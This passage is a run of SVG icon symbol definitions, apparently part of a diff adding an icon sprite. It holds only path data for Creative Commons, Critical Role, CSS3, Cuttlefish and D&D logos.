118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z"></path> + </symbol> + <symbol id="creative-commons-nc" viewBox="0 0 496 512"> + <path d="M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z"></path> + </symbol> + <symbol id="creative-commons-nc-eu" viewBox="0 0 496 512"> + <path d="M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z"></path> + </symbol> + <symbol id="creative-commons-nc-jp" viewBox="0 0 496 512"> + <path d="M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z"></path> + </symbol> + <symbol id="creative-commons-nd" viewBox="0 0 496 512"> + <path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z"></path> + </symbol> + <symbol id="creative-commons-pd" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z"></path> + </symbol> + <symbol id="creative-commons-pd-alt" viewBox="0 0 496 512"> + <path d="M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z"></path> + </symbol> + <symbol id="creative-commons-remix" viewBox="0 0 496 512"> + <path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z"></path> + </symbol> + <symbol id="creative-commons-sa" viewBox="0 0 496 512"> + <path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z"></path> + </symbol> + <symbol id="creative-commons-sampling" viewBox="0 0 496 512"> + <path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z"></path> + </symbol> + <symbol id="creative-commons-sampling-plus" viewBox="0 0 496 512"> + <path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z"></path> + </symbol> + <symbol id="creative-commons-share" viewBox="0 0 496 512"> + <path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z"></path> + </symbol> + <symbol id="creative-commons-zero" viewBox="0 0 496 512"> + <path d="M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z"></path> + </symbol> + <symbol id="critical-role" viewBox="0 0 448 512"> + <path d="M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z"></path> + </symbol> + <symbol id="css3" viewBox="0 0 512 512"> + <path d="M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z"></path> + </symbol> + <symbol id="css3-alt" viewBox="0 0 384 512"> + <path d="M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z"></path> + </symbol> + <symbol id="cuttlefish" viewBox="0 0 440 512"> + <path d="M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z"></path> + </symbol> + <symbol id="d-and-d" viewBox="0 0 576 512"> + <path d="M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 